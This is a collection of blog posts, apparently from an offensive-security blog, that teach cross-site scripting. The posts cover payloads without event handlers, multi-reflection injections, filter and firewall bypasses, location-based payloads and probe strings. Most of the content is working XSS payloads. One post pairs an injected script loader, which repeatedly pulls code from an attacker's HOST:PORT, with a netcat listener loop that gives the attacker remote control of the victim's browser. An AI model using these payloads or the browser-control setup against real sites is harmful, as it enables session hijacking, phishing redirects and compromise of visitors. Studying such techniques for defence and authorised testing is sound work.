XSS Without Event Handlers

There are some XSS attacks that don’t rely on our XSS payload scheme. These ones are based on a local or remote resource call. What we will see is not an exhaustive list and some require UI (user interaction) but they all are meant to work in latest Firefox and Chrome browsers until date except the ones marked with an asterisk (Firefox only).

Our default javascript payload is “javascript:alert(1)” with few exceptions. It provides some room for obfuscation in case of a filter but it can be replaced by the data URI scheme:

“data:text/html,<script>alert(1)</script>”
or
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

Because they are useful as alternatives to the event based ones, let’s group them regarding the attribute needed to trigger the alert:

1) (no attribute)

<script>alert(1)</script>

2) src

<script src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)> *

3) href

<a href=javascript:alert(1)>click
<math><brute href=javascript:alert(1)>click *

4) action

<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click> *

5) formaction

<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=http://brutelogic.com.br/webgun/img/youtube1.jpg>
<isindex formaction=javascript:alert(1) type=submit value=click> *

6) data

<object data=javascript:alert(1)> *

7) srcdoc

<iframe srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;>

8) xlink:href

<svg><script xlink:href=data:,alert(1)></script>
<svg><script xlink:href=data:,alert(1) /> *
<math><brute xlink:href=javascript:alert(1)>click *

9) from

<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=%26>

xss-a-href
<a href=javascript:alert(1)>, with “javascript” obfuscated and styled as a fake youtube video player.

If you know any other vector, please let me know in comments and I will update this list.

#hack2learn

Multi Reflection XSS

When finding XSS in websites usually we see more than one reflection of our input in source code which can be very useful to bypass several types of filters.

Let’s start with a very simple way to know how many reflections we may have with the same payload:

<svg onload=write(1)>

Example: French Wikipedia Website => 11111111 (8 times).

xss-wikipedia-fr

 

To make use of these occurrences with tag based injections, we have the following (with the input and the resulting parsing of the vector):

Double Reflection – Single Input

1) p=’onload=alert(1)><svg/1=’

The <svg/1=’ part of the 1st reflection will start the tag and open a fake attribute until it finds another single quote to close it, in our second reflection, with ‘onload=alert(1)>. Of course, there can’t be a single quote between the 2 occurrences (usually the pure HTML part of the source employs only double quotes).

‘onload=alert(1)><svg/1=’

… [code] …

‘onload=alert(1)><svg/1=’

 

Double Reflection – Single Input (script-based)

1) p=’>alert(1)</script><script/1=’
or
2) p=*/alert(1)</script><script>/*

The same is valid for injections with script tags, but to avoid the equal sign we have an additional construction that makes use of javascript comments. Unfortunately, this does not work when there’s a native script block between the 2 reflections because the native </script> will break our concatenation.

*/alert(1)</script><script>/*

… [code] …

*/alert(1)</script><script>/*

 

Triple Reflection – Single Input

1) p=*/alert(1)”>’onload=”/*<svg/1=’
or
2) p=`-alert(1)”>’onload=”`<svg/1=’

Triple reflections are way more complicated, because having the right conditions between these 3 parts in source code requires a little bit of luck. Also we have to rely on the newly introduced backticks (`) for string delimiting in javascript, which may pose an issue in some cases.

`-alert(1)”>’onload=”`<svg/1=’

… [code] …

`-alert(1)”>‘onload=”`<svg/1=’

… [code] …

`-alert(1)”>‘onload=”`<svg/1=’

 

Triple Reflection – Single Input (script-based)

1) p=*/</script>’>alert(1)/*<script/1=’

Also complicated because we have the double possibility of an existing </script> breaking our syntax, although we don’t have to deal with the possibility of double quotes (usually everywhere in the source) breaking our injection like in the previous case.

*/</script>’>alert(1)/*<script/1=’

… [code] …

*/</script>‘>alert(1)/*<script/1=’

… [code] …

*/</script>‘>alert(1)/*<script/1=’

 

Multi Reflection – Multi Input

We may also have the reflection appearing via 2, 3 or more different inputs. This is the best scenario, making it very easy to bypass even the anti-XSS solutions of the major browsers.

2 inputs:

p=<svg/1=’&q=’onload=alert(1)>

3 inputs:

p=<svg 1=’&q=’onload=’/*&r=*/alert(1)’>

 

Multi Reflection in Javascript Code

Usually, when we have a reflection directly in a javascript piece of code, exploitation is very straightforward and doesn’t require the use of another reflection.

Nevertheless, there is at least one case where it may be useful.

Take the following single lines of code:

var n = {a: “$p”, b: “$p”};
(double reflection, single input $p)

var n = {a: “$p”, b: “$q”};
(double reflection, double input $p and $q)

Even having double quotes being correctly encoded or escaped as well as the less than sign (to prevent breaking the javascript block with </script>), these 2 examples can be exploited:

INPUT
p=-alert(1)}//\

RESULT*
var n = {a: “-alert(1)}//\”, b:-alert(1)}//\”};

 

INPUT
p=\&q=-alert(1)//

RESULT*
var n = {a: “\”, b:-alert(1)}//”};

* blue is the value of “a”, red is the “out-of-value” area.

See it working here.

The backslash (\) escapes the double quotes that close the first named value “a” and then the value will only end on the next double quote, the first one of the second named value “b”. In this way, what was supposed to be a value, actually becomes code to be executed (“alert(1)”), concatenated to the named value “a”. Finally, to avoid syntax error, we close the variable “n” with “}” and comment the rest of the native code.

 

There are also mixed cases, with reflections occurring in HTML and inside javascript at the same time with single or multiple inputs. In my private twitter account @brutalsecrets there’s a curious case regarding this last kind of exploitation which may be the difference between a withdrawal and an alert pop-up.

#hack2learn

Using XSS to Control a Browser

One of the greatest, yet overlooked, dangers of a XSS flaw is the possibility of control of the victim’s browser by an attacker.

Even if there’s no sessions or cookies to steal on a target website (or they are protected by HttpOnly), our XSS code can be used to redirect the victim to another website that can phish credentials or launch exploits against the browser and thus compromise the machine.

This control can be achieved quite easily without the need of any special tool, using just a Unix-like (linux and iOS, for examples) terminal and a common network utility, netcat (for some systems it’s not even necessary).

We need 2 pieces of code. The first one is the XSS payload to be injected into the target website:

<svg onload=setInterval(function(){d=document;
z=d.createElement(“script”);z.src=”//HOST:PORT”;
d.body.appendChild(z)},0)>

Using our classic <svg onload> XSS vector, we have the following as the javascript payload (by logical parts):

setInterval(code, 0)

A javascript function to make the code run at intervals of time (in our case, 0). Needed to keep the connection alive.

function(){code}

We are grouping our steps (code) in a js function in order to make the setInterval() work.

d=document;

Just an assignment to shorten the code.

z=d.createElement(“script”);

The creation of a script element. Equals to document.createElement(“script”) because of the previous assignment.

z.src=”//HOST:PORT”;

Now we assign a source to the script element with a pair HOST:PORT (HOST as domain or IP), the ones from the machine which will be used to control the browser.

d.body.appendChild(z)

The element is appended to the body of the current HTML document.

This code creates dynamically a script element on the page that will use attacker’s host and port as a source to execute javascript code, regularly.

Although less understandable, it can be shortened a little bit more (7 bytes less):

<svg/onload=setInterval(function(){with(document)body.

appendChild(createElement(“script”)).src=”//HOST:PORT”},0)>

The second code is meant to be run on the terminal ($) of the attacker’s machine:

$ while :; do printf “j$ “; read c; echo $c | nc -lp PORT >/dev/null; done

It sets the listening on the PORT number (-lp) making use of netcat (nc) and redirecting the output (browser requests) to nowhere (>/dev/null). This is done in an endless loop (“while :” and “done”), printing the pseudo command prompt (j$) and reading the input from keyboard (read c) to feed the netcat listener (echo $c with the pipe to nc).

Once the XSS payload gets execution, the browser fires a request to our host:port looking for a source to the script element recently created. Then, the command piped to netcat becomes the response of this request, with javascript code to be executed. As a new script element is created by setInterval() each 0 millisecond and the netcat loop is always ready to send a new source, we have an interactive stateless connection to remote control the client.

With these 2 pieces working, all we need is to type javascript commands like “alert(1)” in the pseudo prompt to make it run on victim’s browser:

#hack2learn

P.S.: when copy and paste these codes, delete and type the quotes again because they will not work in their current format of this blog theme.

Source-Breaking Injections

When dealing with HTML injections there’s an interesting trick to make a XSS attack work. To illustrate this technique we will make use of the following, tweeted as a mini-challenge:

 

The code is short and very simple but built with key elements of a real world scenario:

brutelogic.com.br/tests/newsletter.php

sbi-1

Contrary to the obvious input, in this code we have a PHP_SELF flaw which makes us able to inject into the URL without providing any parameter:

sbi-2

As our injection lands on a tag attribute, we try to break out of it with no success because the greater than sign (>), needed to close the tag and start a new one, is replaced by a minus sign (-):

sbi-3

So we will try to use an inline injection, using an event handler:

sbi-4

Again without success, but this time because the javascript block (lines 11 to 17) sanitizes every string that has “on” followed or not by a spacer character (%09, %0A, %0C, %0D or %20) and an equal sign (=) in the document.location.href (line 15), the property that handles the URL.

The javascript function eventFilter(), called when the body of document loads (line 3), manipulates the page built at runtime (see DOM), so the injection does not work although it gets correctly reflected on source.

sbi-5

But if we create an arbitrary attribute and simply keep its value open, all the code after injection will be changed into its value:

sbi-6

That way, the “1” attribute will be closed only when the browser’s HTML parser finds the next single quote (‘), which is on the “Don’t be evil.” phrase. The form tag, the one we injected into, will be closed in the next greater than sign (>), which is in the </h6> tag.

The input field disappeared along with the submit button and the javascript function was completely disabled (all from line 8 to 18). Because there’s no more elements to interact in the page, “style” attribute is also replaced by a “-” and we can’t inject anything after our target tag, we have no way to trigger the event handler we provided (and none of the agnostic event handlers).

sbi-7

So here comes the last trick. In current Firefox browser, we have the following handlers that only need a script block after it in source to make them trigger:

onafterscriptexecute

onbeforescriptexecute

sbi-8

But to reach the very end of the challenge (in the congrats.js script of the page),

if (brute)
alert(“Congratz, buddy!”);
else
alert(“Almost there, try again.”);

we can only use the latter:

sbi-9

#hack2learn

P.S.: in my private twitter account @brutalsecrets there’s another useful example of this technique.

P.S.2: Michal Špaček (@spazef0rze) came with a very interesting solution, check it out here. Thanks, Michal!

Location Based Payloads – Part IV

To end this series (part I, part II and part III), all the document properties that can be used.

Document Properties Scheme

location.protocol

protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3

location.hostname

protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3

location.pathname

protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3

location.search

protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3

previousSibling.nodeValue, document.body.textContent*

protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3

tagName, nodeName

protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3

outerHTML

protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3

innerHTML**, textContent**, nextSibling.nodeValue**, firstChild.nodeValue**, lastChild.nodeValue**

protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3

location.hash

protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3

URL, documentURI

protocol://domain/path/page?p= text1 <tag handler=code> text2 # text3

—– x —–

To make it easy to replace one property by another in case of blacklist or something, here we have them grouped  by position:

Before

previousSibling.nodeValue, document.body.textContent*

Itself

location.search, tagName, nodeName, outerHTML

After**

textContent, nextSibling.nodeValue, firstChild.nodeValue, lastChild.nodeValue, innerHTML

Hash

location.hash

* comes with source content (body)
** may need to close the injected tag

So when building a location based payload using document properties to avoid filtered chars and/or in filtered sequences (like after on*=), this may help to choose the right ones for the injection.

#hack2learn

Location Based Payloads – Part III

If you didn’t read it yet, I highly recommend the reading of part I and part II of this series.

We will move now to a simple taxonomy of our location based payloads with some examples. Each payload will be followed by its respective result and some comment on it.

It’s important to note that all what we do with the javascript pseudo protocol (javascript:) can be applied to the data (data:) one as well (probably with some particularities) and may appear on future posts. But the best way to stay tuned to the research and development of the most awesome XSS vectors/payloads is following my private twitter account, @brutalsecrets.

We have 3 similar methods to use location, based on the destination of this very useful property:

– Location

– Location Self

– Location Self Plus

We will also make use of a scheme based on position similar to our “XSS Payload Scheme” to help us understand how the payload is constructed and to find an alternative to the property used. The injection is formed by some of these parts, with the tag being the reference:

before < [itself [inside]] > after # hash

Before: everything before the tag.

Itself: anything that uses the tag name.

Inside: any attribute inside the tag.

After: everything after the tag until hash.

Hash: everything after the # sign.

 

So, here we go.

1) Location

These are the regular payloads we’ve seen so far, using the javascript pseudo protocol to execute the code with some new tricks.

1.1) Location Itself+After+Hash (tagName+innerHTML+location.hash)

<javascript onclick=location=tagName%2binnerHTML%2blocation.hash>:/*click me!#*/alert(9)

<javascript onclick=location=tagName%2binnerHTML%2blocation.hash>:’click me!#’-alert(9)

The ones from the previous post, just placed in our current classification context.

1.2) Location Itself+Hash (tagName+URL)

<javascript: onclick=location=tagName%2bURL>click me!#%0Aalert(1)

javascript: + http://domain/page?p=<javascript: onclick=location=tagName%2bURL>click me!#%0Aalert(1)

Here we made use of “http:” as a label (label: code) and comment all that line with “//”. The alert is triggered because we jump to a new line with %0A.

<javascript:”-‘ onclick=location=tagName%2bURL>click me!#’-alert(1)

javascript:”-‘ + http://domain/page?p=<javascript:”-‘ onclick=location=tagName%2bURL>click me!#’-alert(1)

Here we “stringfied” and “concatenated” (see first post) twice using double and single quotes, respectively.

1.3) Location After+Hash (innerHTML+URL)

<j onclick=location=innerHTML%2bURL>javascript:”-‘click me!</j>#’-alert(1)

javascript:”-‘click me! + http://domain/page?p=<j onclick=location=innerHTML%2bURL>javascript:”-‘click me!</j>#’-alert(1)

The “stringfied concatenation” again, avoiding placing javascript pseudo protocol in the tag.

<j onclick=location=innerHTML%2bURL>javascript:</j>#%0Aalert(1)

javascript: + http://domain/page?p=<j onclick=location=innerHTML%2bURL>javascript:</j>#%0Aalert(1)

The same, using the “labeled jump” again.

1.4) Location Itself+After+Hash (tagName+innerHTML+URL)

<javas onclick=location=tagName%2binnerHTML%2bURL>cript:”-‘click me!</javas>#’-alert(1)

javas + cript:”-‘click me! + http://domain/page?p=%3Cjavas%20onclick=location=tagName%2binnerHTML%2bURL%3Ecript:”-‘click me!</javas>#’-alert(1)

<javas onclick=location=tagName%2binnerHTML%2bURL>cript:</javas>#%0Aalert(1)

javas + cript: + http://domain/page?p=<javas onclick=location=tagName%2binnerHTML%2bURL>cript:</javas>#%0Aalert(1)

Our well known tricks, this time splitting the “javascript:” string.

1.5) Location Itself+Before (tagName+previous.Sibling)

“-alert(1)<javascript:” onclick=location=tagName%2bpreviousSibling.nodeValue>click me!

javascript:” + “-alert(1)

Just that simple.

1.6) Location Itself+After+Before (tagName+innerHTML+previous.Sibling)

“-alert(1)<javas onclick=location=tagName%2binnerHTML%2bpreviousSibling.nodeValue>cript:”click me!

javas + cript:” + “-alert(1)

As before, but better obfuscated.

1.7) Location After+Itself (innerHTML+outerHTML)

<alert(1)<!– onclick=location=innerHTML%2bouterHTML>javascript:1/*click me!*/</alert(1)<!–>

javascript:1/*click me!*/ + <alert(1)<!– onclick=location=innerHTML%2bouterHTML>

We “concatenated” the number 1 with “alert(1)” using the greater than sign (<) of the tag and commented the rest.

<j 1=”*/””-alert(1)<!– onclick=location=innerHTML%2bouterHTML>javascript:/*click me!

javascript:/* + <j 1=”*/””-alert(1)<!– onclick=location=innerHTML%2bouterHTML>

Here we just used the known double quotes method (the slash inside the tag needs to be encapsulated). This does not work in Internet Explorer because of the <!–.

1.8) Location After+Before+Itself (innerHTML+previousSibling+outerHTML)

*/”<j”-alert(1)<!– onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!

javascript:/*click me! + */” + <x”-alert(9)<!– onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>

As above, this doesn’t work in Internet Explorer because of the <!–.

*/”<j 1=-alert(9)// onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!

javascript:/*click me! + */” + <x 1=” -alert(9)//” onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>

Browsers add a “” to the value of “1” and “onclick” attributes to normalize them. IE changes the order of the attributes, so it also doesn’t work there.

1.9) Location After (innerHTML)

<j onclick=location=innerHTML>javascript%26colon;alert(1)//

javascript:alert(1)//

It seems simple, but some filters may be tricked by the encoded colon and the position of the “javascript” and “alert” signatures.

1.10) Location Inside (name+id)

<iframe id=t:alert(1) name=javascrip onload=location=name%2bid>

javascrip + t:alert(1)

Back to the good and old basics.

2) Location Self

These payloads use the current page as location, but injecting a new vector/payload on it. So they only work for reflected XSS and the final result will be another request to the server. About the same previous tricks can be used (with few exceptions regarding encoding), so we will just see some examples of the mechanics using “p” as the vulnerable parameter.

2.1) Location Self Inside

<svg id=?p=<svg/onload=alert(1)%2B onload=location=id>

http://domain/page?p=<svg/onload=alert(1)+

<svg id=?p=<script/src=//3237054390/1%2B onload=location=id>

http://domain/page?p=<script/src=//3237054390/1+

2.2) Location Self After

<j onclick=location=textContent>?p=%26lt;svg/onload=alert(1)>

http://domain/page?p=<svg/onload=alert(1)>

3) Location Self Plus

Same as “Location Self”, but using HPP (HTTP Parameter Pollution) technique, adding the same vulnerable parameter to the current page. The extra parameter is the one that will trigger the payload. Useful to avoid a “location=” filter signature.

3.1) Location Self Plus Itself

<j%26p=<svg%2Bonload=alert(1) onclick=location%2B=outerHTML>click me!

http://domain/page?p=%3Cj%26p=%3Csvg%2Bonload=alert(1)%20onclick=location%2B=outerHTML%3Eclick%20me!<j&p=<svg+onload=alert(1) onclick=“location+=outerHTML”>

3.2) Location Self Plus After

<j onclick=location%2B=textContent>%26p=%26lt;svg/onload=alert(1)>

http://domain/page?p=%3Cj%20onclick=location%2B=textContent%3E%26p=%26lt;svg/onload=alert(1)%3E&p=<svg/onload=alert(1)>

3.3) Location Self Plus Before

%26p=%26lt;svg/onload=alert(1)><j onclick=location%2B=document.body.textContent>click me!

http://domain/page?p=%26p=%26lt;svg/onload=alert(1)%3E%3Cj%20onclick=location%2B=document.body.textContent%3Eclick%20me![BODY_CONTENT]&p=<svg/onload=alert(1)>click me!

As you may have noticed, there will be tons of combinations. So in the final post we will take a look at the places in an URL (with the injection) of all the properties we can use to build location based payloads.

#hack2learn

P.S.2: Part IV of this series is here.

Location Based Payloads – Part II

If you didn’t read it yet, I highly recommend the reading of part I.

Without using parentheses to call functions and brackets to addressing chars in an array, we can only rely on document properties to make the XSS payload work. The first one we will use is tagName. In order to facilitate our visual understanding of what we are getting before the final payload, we will use alert boxes to see our potential location contructions:

<svg onload=alert(tagName)>

Try it!

Doing so, we will see the string “svg” in the alert box. But what if we change the tag to something more useful to our purposes?

<javascript onclick=alert(tagName)>click me!

Try it!

A tag named javascript? Is it possible?

Yes, it is. Anything that starts with an alphabetic character after “<” can work as a tag (as we saw in “Agnostic Event Handlers”) and will be handled as a tag. So using tagName with a javascript tag, we already have a part of our desired payload.

Needing the “:alert(1)” part and knowing that “location.hash” trick, we are tempted to try it adding the 2 strings in order to build our location:

<javascript onclick=alert(tagName%2Blocation.hash)>click me!#:alert(1)

Try it!

As we can see, there’s a hash in the middle that we can’t get rid of. Or we can?

First we need to move the colon (“:”) to the tagName part (yes, we can):

<javascript: onclick=alert(tagName%2Blocation.hash)>click me!#alert(1)

Second, as we are in the pure code part after “javascript:” for location, we will use the innerHTML property (which returns what is between the open and close tags) to let us use comments:

<javascript: onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>/*click me!#*/alert(1)

It seems we have a valid code for location now:

<javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>/*click me!#*/alert(1)

Result => javascript: + /*click me! + #*/alert(1)

Bingo!

I don’t know what you might be thinking about it right now. But it paves the way to a lot of interesting constructions based only in document properties.

Before moving on, let’s see a common variation of our payload. This will be useful when we explore the next ones:

<javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>’click me!#’-alert(1)

Result => javascript: +’click me! + #’-alert(1)

This time we changed the innerHTML property of the tag (and the hash) to a string that will be “concatenated” to alert(1) to execute it. We used single quotes in this example but double quotes can be used as well, depending of the context. In our test page for example, using that payload with double quotes does not work.

It’s because if there’s a */ (end of javascript comments) or a single/double quotes in the native code after the injection, the respective payload will be broken. This happens because innerHTML, the actual content of our injected tag, is the entire HTML code after it since the tag was not closed.

But there’s an easy solution for that:

<javascript: onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>’click me!</javascript:>#’-alert(1)

Now, in order to evade the “javascript:” signature, we have to make different combinations of properties addition. Here are some examples using the result scheme:

javascript + :’click me! + #’-alert(1)

javascrip + t:’click me! + #’-alert(1)

javas + cript:’click me! + #’-alert(1)

The fun has just begun. In the next posts we will see advanced techniques to build this type of payloads.

#hack2learn

P.S.: due to formatting of this blog theme, type the quotes manually instead of just a copy and paste or it will not work.

P.S.2: Part III of this series is here.

Location Based Payloads – Part I

In researching a way to evade a filter which detects and blocks the XSS attempt in the presence of parentheses in a payload, I came to interesting solutions of this problem that will be shared in this post and its subsequent parts.

It’s worth to note that any encoding of the prohibited characters would not evade the filter.

To accomplish that I started to use the javascript document location property, which make possible the following raw payload, still not ready for evasion:

<svg/onload=location=‘javascript:alert(1)’>

(due to WP security issues regarding the “javascript:alert(1)”, to test this we need to copy & paste it here, *re-typing the quotes*)

This is easily flagged by any decent filter. So we have another trick, which hides the signature part (“javascript:” and “alert(1)”) in the hash part of the URL because it’s never sent to server:

<svg/onload=location=location.hash.substr(1)>#javascript:alert(1)

(due to WP security issues regarding the “javascript:alert(1)”, to test this we need to copy & paste it here)

Result => javascript:alert(1)

The “location.hash.substr(1)” returns everything after the hash sign, which responds for the “location.hash.substr(0)”. The “location.hash” returns a string which is splitted by the “substr” method, hence the 0 and 1 parts.

But we are still using parentheses. So let’s work on it. In order to do that we will first bring the flagged strings back, but splitting them to avoid detection:

<svg/onload=location=‘javas’%2B‘cript:’%2B
‘ale’%2B‘rt’%2Blocation.hash.substr(1)>#(1)

Try it!

Result => javas + cript: + ale + rt + (1)

The %2B is the encoded plus (+) sign, because in its literal form it’s changed to a regular space by browser before submitting. So what we are doing here is adding 2 pieces of the “javascript:” string to another 2 pieces of “alert” string plus the content of the URL after the hash using the “location.hash.substr(1)”.

In order to avoid the quotes, we can use the “/string/.source” trick as follows:

<svg/onload=location=/javas/.source%2B/cript:/.source%2B
/ale/.source%2B/rt/.source%2Blocation.hash.substr(1)>#(1)

Try it!

Result => javas + script: + ale + rt + (1)

Nice. But we are still using parentheses.

So we need another trick: changing it a little bit, parentheses are avoided completely:

<svg/onload=location=/javas/.source%2B/cript:/.source%2B/ale/.source
%2B/rt/.source%2Blocation.hash[1]%2B1%2Blocation.hash[2]>#()

Try it!

Result => javas + cript: + ale + rt + ( + 1 + )

As “location.hash” returns a string and because in javascript language every string is an array, we make use of “location.hash[1]” and “location.hash[2]” to point to the positions 1 and 2, respectively, of the “location.hash” array.

Cool, we could stop here, right? Not if you are not allowed to use “[” and “]” as well.

So I had to face another problem. And that made me research a whole new set of payloads which will be explored in the next posts of the “Location Based Payloads”.

#hack2learn

P.S.: Part II of this series is here.

Probing to Find XSS

To find XSS flaws we need to know where to look for it and how we can detect it. Where to look for it is as simple as complicated: all we need is to probe every input the application has.

We will do it using a probe string: a set of characters that we can look for it in source code in order to know if we can go further to inject a payload.

So let’s think about it: which is the most important single character for a XSS payload? As we are dealing with HTML, the most important is the identifier of a tag: the less than sign “<”.

Although there are injections which don’t need it, like an injection inside a tag without breaking it or one into the javascript section of the code, the tag based payloads work on all situations.

If we inject a “<” sign into any application input and we see it in the response of the web server, there’s a great chance to inject a payload. But it will be hard to spot only that char in source code (it’s everywhere), so we need something to help us to identify it. So we will use just another char after it:

<1

In fact, we can use any char that does not form a true tag like “<a” or a pseudo one like “<x”. But why? Because most filters will not recognize it as dangerous (not a tag), it might allow us to know if the “<” is being reflected without being caught. In some .NET applications, for example, we may be able to bypass the language native filter with “% u003C” (unicode) instead of the “<” character.

But when dealing with multiple inputs, we also need to be able to track which one get reflected. This can be achieved simply by adding a tracker before it:

n<1

where “n” is a number for each input we try, like the following:

param1=1<1&param2=2<1&param3=3<1

Usually this is not enough to be sure if there’s a real XSS hole in the server side script but it’s a great clue about it: if the application is allowing the reflection of a “<”, probably is also allowing the reflection of a single or double quote needed to break out of an existing tag.

Using our example above, if we see this in source after trying to inject into URL parameters:

Probe

http://domain/page?param1=1<1&param2=2<1

Source code

<input type=“text” value=“2<1”>

We can quickly move to a full working payload like:

Injection

http://domain/page?param1=1&param2=”><svg+onload=“alert(1)

Source code

<input type=“text” value=“><svg onload=alert(1)”>

And if there’s no filter in place, we got a XSS.

We could have tested for a XSS flaw in several ways but our discussed probe string has the following advantages:

1) it’s short and simple;

2) very suitable for manual tests;

3) flies under the radar of most filters;

4) may go unnoticed in server logs.

In my private twitter account @brutalsecrets, there’s a video showing this technique in an advanced way to find a XSS in a real world scenario.

#hack2learn

Filter Bypass Procedure

When dealing with filters, we need to determine how it is filtering our input in order to find a successful bypass technique.

Again we will work only with the event based payloads (on*=), because they represent more than 99% of all possible XSS payload constructions.

So, if we already can inject the tag part like “<anything”, we can simply set it as something with the minimum amount of chars like “<x” and start to test for the event handlers accepted.

That’s what I tried to summarize in this tweet (regarding WAFs – Web Application Firewalls):

The filter may be using a regex (regular expression) that flags a minimum number of chars after the “on” prefix and/or blacklists the known event handlers. If it does the latter, exclusively, there’s a great chance that they have missed one, and it will be just a matter of trying all of them.

But usually we have to test for how many chars it accepts after the “on” string, followed by a “=” sign. For this we will use the following pseudo-payload:

<x onxxx=1

If it accepts it, we start to increase the number of X’s one by one, until we get a filter blocking.

Example:

<x onxxx=1     -> pass

<x onxxxx=1   -> pass

<x onxxxxx=1 -> block

From there we will have the maximum number of chars (6 in our example) that we can use to choose an event handler: the webGun tool has its event handlers list separated by number of chars to help on this task.

Event handlers with up to 6 chars:

oncut, onblur, oncopy, ondrag, ondrop, onhelp, onload, onplay, onshow

So the next step is just trying all event handlers allowed based on that number of chars; after finding one that does not get blocked, change the “<x” tag to one associated with it (no need if it’s one of the agnostic event handlers).

But if it does not accept the pseudo-payload above without blocking, with just 3 chars after “on”, it’s because we can’t inject even the shortest event handler so far, oncut.

In this case we will need to move to the following tricks to try to break the filter:

1) Encoding

Encoding one or more key chars of the payload can be really tricky:

%3Cx onxxx=1

<%78 onxxx=1

<x %6Fnxxx=1

<x o%6Exxx=1

<x on%78xx=1

<x onxxx%3D1

2) Mixed Case

Using uppercase in one or more chars may trick some poor filters:

<X onxxx=1

<x ONxxx=1

<x OnXxx=1

<X OnXxx=1

3) Doubling

Maybe the filter only looks for one occurrence of the pattern:

<x onxxx=1 onxxx=1

4) Spacers

The following spacers can be used between the tag name and the event handler:

<x/onxxx=1

<x%09onxxx=1

<x%0Aonxxx=1

<x%0Conxxx=1

<x%0Donxxx=1

<x%2Fonxxx=1

5) Quotes

We may try to fool the filter with a quote before the handler using a tag pseudo-attribute:

<x 1=‘1’onxxx=1

<x 1=“1”onxxx=1

6) Mimetism

The filter flow may allow us to pass a rule being disguised by allowed stuff:

<x </onxxx=1 (mimics a closing tag)

<x 1=“>” onxxx=1 (mimics a text outside of the tag)

<http://onxxx%3D1/ (mimics an URL)

7) Combo

We may combine some or all of the above:

<x%2F1=“>%22OnXxx%3D1

When we find a way to make it work, all we need is to add the javascript code, which also has its own obfuscation tricks in case of it’s being filtering too.

#hack2learn